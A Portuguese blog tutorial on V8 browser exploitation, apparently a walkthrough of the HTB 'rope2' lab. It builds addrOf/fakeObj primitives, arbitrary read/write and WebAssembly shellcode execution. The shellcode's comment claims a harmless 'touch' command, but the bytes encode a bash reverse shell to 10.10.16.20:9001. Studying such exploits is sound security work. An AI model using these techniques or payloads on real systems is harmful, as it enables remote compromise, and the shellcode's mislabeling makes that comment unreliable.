Essa será uma introdução ao tema de browser exploitation, pórem é recomendado um conhecimento prévio de C, javascript e uma boa noção de ponteiros.
Browser Exploitation
A ideia principal para a exploração de navegadores continua sendo a mesma para a exploração de binários normais, o objetivo é sempre achar um ou mais bugs, os quais serão usados para conseguir duas primitivas essenciais, arbitrary read
e arbitrary write
, com isso o próximo passo seria um desvio de fluxo para um código malicioso, podendo ser um shellcode ou uma ropchain.
pórem as técnicas e algumas formas de obter essas primitivas podem se diferenciar na exploração de browsers.
Cada navegador tem sua implementação única e com suas peculiaridades, vou fazer um overview sobre os principais componentes do navegador e após isso me aprofundar no chrome, por ser um dos mais usados.
Browser internals
Como as coisas funcionam
De forma abstrata, os navegadores se organizam mais ou menos dessa forma:
- User Interface
Essa é a interface de comunicação com o usuário final, ou seja, barra de pesquisa, botões, favorito, etc. - Browser Engine
O Browser Engine tem a função de comunicação entre os outros componentes. - Rendering Engine
De forma autodescritiva, essa engine tem a função de renderizar oque está sendo requisitado, HTML, XML, PDF e assim por diante. - Networking
Não diferente do último tópico, esse componente também é bem autodescritiva, sua função é basicamente lidar com conexões HTTP, TCP, WebSocket e outros protocolos.
Também faz parte desse módulo o cache de informações para diminuir o tráfego necessário. - UI Backend
Usada para criar componentes visuais independentes de SO, comoinputs
oubuttons
. - JavaScript Engine
Esse módulo é responsável por parsear e executar o javascript, esse será o alvo de maiores estudos nesse post. - Data Storage
Essa é a camada de persistência. Cookies, localStorage, cache, indexDB e semelhantes estarão aqui.
Esse foi um overview rápido para podermos entrar em uma módulo especifico, o JavaScript Engine
JavaScript Engine (V8 internal)
Cada navegador possui seu próprio Engine, então eu usarei o v8
, engine do chrome, para conseguir dar exemplos mais concretos.
Objetos e Ponteiros
No v8, todos os valores são armazenados na heap, independente do seu tipo (strings, arrays, números e etc), isso significa que tudo é representado como ponteiros e como uma tentativa de poupar memoria o v8 usa uma técnica chamada compressão de ponteiro
, a qual tem uma função bem autodescritiva, comprimir o tamanho de um ponteiro.
Mas como isso é possível? Segundo as palavras do próprio blog do v8:
A compactação de ponteiro é um dos vários esforços em andamento no V8 para reduzir o consumo de memória. A ideia é muito simples: em vez de armazenar ponteiros de 64 bits, podemos armazenar deslocamentos de 32 bits de algum endereço “base”.
Parte dessa implementação usa outra técnica chamada de pointer tagging
, onde para diferenciar um endereço de um Smi (small integer) existe uma “tag”, isso é representado como um bit 1 no LSB.
Dessa forma, ponteiros se parecem com isso na memória:
// pointer
0x02ae456d6e91
// endereço para onde aponta
0x02ae456d6e90
Arrays na memoria
// var array = [1, 2, 3, 4]
A JSArray object A FixedArray object
+-----------------------------+ +------------------------------+
| | | |
| Map Pointer | +-->+ Map Pointer |
| | | | |
+-----------------------------+ | +------------------------------+
| | | | |
| Properties Pointer | | | Backing Store Length |
| | | | |
+-----------------------------+ | +------------------------------+
| | | | |
| Elements Pointer +---+ | 0x00000002 | index 0
| | | |
+-----------------------------+ +------------------------------+
| | | |
| Array Length | | 0x00000004 | index 1
| | | |
+-----------------------------+ +------------------------------+
| | | |
| Other unimportant fields... | | 0x00000006 | index 2
| | | |
+-----------------------------+ +------------------------------+
| |
| 0x00000008 | index 3
| |
+------------------------------+
Ref:
"https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#arrays-in-v8"
JSArray é o real objeto a qual a variável array
aponta, nele existem vários campos importantes, entre eles podemos enumerar os mais importantes:
- Map Pointer:
Essa propriedade determina o “shape” do array, semelhante a uma struct, definindo os tipos das suas propriedades. - Properties pointer
Basicamente aponta para as propriedades as quais o array pode ter. - Elements Pointer
Finalmente o lugar o qual aponta para os valores de fato. - Array Length
De forma nada surpreendente, esse é o tamanho do array, propriedade que pode ser muito útil em alguns casos, como um overwrite nela pode te liberar um read/write OOB.
Agora que temos uma ideia melhor de como tudo está alocado e funcionando por baixo dos panos, podemos continuar para o próximo passo.
Exploitation 😎
Eu usarei uma máquina do HTB, a rope2, para utilizar uma falha induzida como exemplo
Basicamente vamos ter um arquivo de patch adicionando 2 funções build-in em arrays (ArrayGetLastElement
e ArraySetLastElement
), pórem elas têm um erro simples de lógica, para acessar o “LastElement” é usado o tamanho do array, no entretanto sem levar em conta que o valor inicial em arrays é 0, irei demonstrar o erro com o seguinte pseudo código:
// 0 1 2 3 4
var array = ["a", "b", "c", "d", "e"]
var arraySize = array.length // 5
var lastElement = array[arraySize] // ??
Com isso podemos ler e escrever após o nosso array, pórem como podemos fazer isso se transformar em uma primitiva read/write?
Técnicas
Quando se trata de browser exploitation, nosso objetivo é sempre adquirir duas “semi primitivas”, a address of e o fake object.
Address of
Essa técnica tem o objetivo bem claro, adquirir o endereço de uma variável, para isso devemos criar um array de doubles e converter ele para um array de objetos, após isso adicionar a variável que queremos o endereço e convertemos novamente para doubles, assim teremos o ponteiro da variável e não mais a variável em si.
pseudo código:
var array = [1.1, 1.2, 1.3] // double array
// trigga algum bug para realizar essa converção
do_magic(array) // object array
var find_me = { prop: "value" }
// array[1] = pointer => find_me
array[1] = find_me
do_magic(array) // double array
// agora não seguimos mais o ponteiro pois ele esta sendo
// intepretado como um float, assim podemos ler diretamente o endereço
array[1]
Fake Object
O fake object tem uma ideia extremamente semelhante ao address of, funcionando como o oposto dele.
Basicamente ao invés de achar um endereço, nosso objetivo aqui é acessar um endereço qualquer a nossa escolha, usando uma variação da mesma técnica, assim podemos ter o seguinte pseudo código:
var array = [1.1, 1.2, 1.3] // double array
// ALERTA
// Esse ponteiro deve ser "packeado" para 64/32 bits em um cenario real
var pointer = 0xbabebeef
array[1] = pointer // escrevo nosso endereço no array
// trigga algum bug para realizar essa converção
do_magic(array) // object array
// agora temos em "array[1]" um objeto que aponta para o nosso endereço
// com isso temos praticamente um read/write
array[1]
Sem mais magia
Até agora usei uma função do_magic
para exemplificar um bug, pórem como todos sabem não existe mágica, então vamos desmistificar essa tal magia.
Na sessão de arrays eu comento sobre uma propriedade chamada Map pointer, a qual define o formato de um array ou objeto. Basicamente nosso objetivo é conseguir sobrescrever essa propriedade ao nosso favor, transformando o array em float ou objeto.
Escrevendo o exploit 🐞
As funções
itof
eftoi
são simples wrapper de apoio para conversão de float to integer e vise versa
A implementação dofakeObj
eaddressOf
serão disponibilizadas no final do post, mas elas não diferem muito do pseudo código mostrado acima.
Agora já sabemos as técnicas e temos um bug, hora de mão na massa.
Vamos primeiramente criar as variáveis
var tmp_obj = {"A": 1};
var obj_arr = [tmp_obj];
var float_arr = [1.1, 1.2, 1.3];
var float_map = float_arr.GetLastElement(); // Map Pointer do "float_arr"
var obj_map = itof(ftoi(float_map) + 0x50n); // Map Pointer do "obj_arr"
Estamos pegando os Map pointer’s de um array float e de um objeto para fazer a Mágica de converter os tipos de um array.
Você pode ter percebido que no obj_map
eu não estou usando o GetLastElement e sim um deslocamento a partir do float_map
, isso pode parecer complexo mas é apenas por um ruído que é gerado com a função vulnerável, em outras palavras estou apenas falando que o map do objeto está 0x50 bytes a frente do float map.
Agora vamos usar as primitivas fakeObj
e addressOf
var fake_arr = [float_map, 1.1, 1.2, 1.3];
// fake => Object(fake_arr[0])
var fake = fakeObj(addrOf(fake_arr) - 0x20n);
Assim criamos um novo array onde o primeiro elemento é o float map e criamos um objeto apontando para esse primeiro elemento, o -0x20n
é para esse alinhamento.
Temos agora um fake object com propriedades as quais temos controle, em outras palavras:
Read/Write baby 😎
Vamos ver isso de forma mais pratica.
Em fake_arr[1]
eu irei escrever um endereço somado com alguns cálculos, assim em fake[0]
podemos ler ou escrever para onde o endereço aponta, da seguinte forma:
function read(addr) {
// pointer tagging que foi comentado no começo do post
if(addr % 2n == 0) {
addr += 1;
}
// "8n << 32n" é basicamente um padding
// o -8 é apenas alinhamento
fake_arr[1] = itof((8n << 32n) + addr - 8n);
return fake[0];
}
A função write
é apenas uma variação dessa com a mesma ideia.
Read, write mas cade a shell?
Em uma exploração normal, o esperado seria sobrescrever a __malloc_hook
ou __free_hook
, pórem as coisas diferem um pouco durante a exploração de browsers, existem diversas formas de criar uma execução de código nesse contexto.
Eu usarei uma técnica para criar uma página RWX (Read/Write/eXec) com WebAssembly e usarei as primitivas para escrever um shellcode nessa página e assim executá-la.
// https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_exec_shellcode = wasm_instance.exports.main;
O wasm_code
é apenas um código em WebAssembly para:
int main() { return 0; }
As demais linhas são apenas para iniciar uma instancia.
Agora com uma instancia do WebAssembly podemos preparar para escrever o nosso shellcode:
var rwx_page_addr = ftoi(read(addrOf(wasm_instance) + 0x68n));
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrOf(buf);
let backing_store_addr = buf_addr + 0x14n;
write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
Não tenho muito o que explicar sobre o código acima, basicamente está usando as primitivas read/write para escrever o shellcode, podemos finalizar nosso exploit da seguinte forma:
// msfvenom -p linux/x64/exec CMD='/usr/bin/touch /tmp/executed_baby' --format dword
var shellcode = [
0x622fb848, 0x732f6e69, 0x50990068, 0x66525f54, 0x54632d68, 0x39e8525e, 0x2f000000, 0x2f6e6962,
0x68736162, 0x20632d20, 0x73616222, 0x692d2068, 0x20263e20, 0x7665642f, 0x7063742f, 0x2e30312f,
0x312e3031, 0x30322e36, 0x3030392f, 0x3e302031, 0x00223126, 0x5e545756, 0x0f583b6a, 0x00000005
];
copy_shellcode(rwx_page_addr, shellcode);
wasm_exec_shellcode();
O exploit completo pode ser encontrato no github da harddisk.
Esse post é uma introdução ao tema de browser exploitation, o que significa que muita coisa ficou de fora, como sandbox e proteções como PIE, esses temas podem ser abordados futuramente em outros posts, se você curtiu e quer mais conteúdos do tipo pode compartilhar esse post e/ou entrar na comunidade do discord para dar seu feedback.
Referencias
- How browsers work and render pages
- Pointer Compression in V8
- Simple bugs with complex exploits
- Exploiting v8: *CTF 2019 oob-v8
Autor do post: R3tr0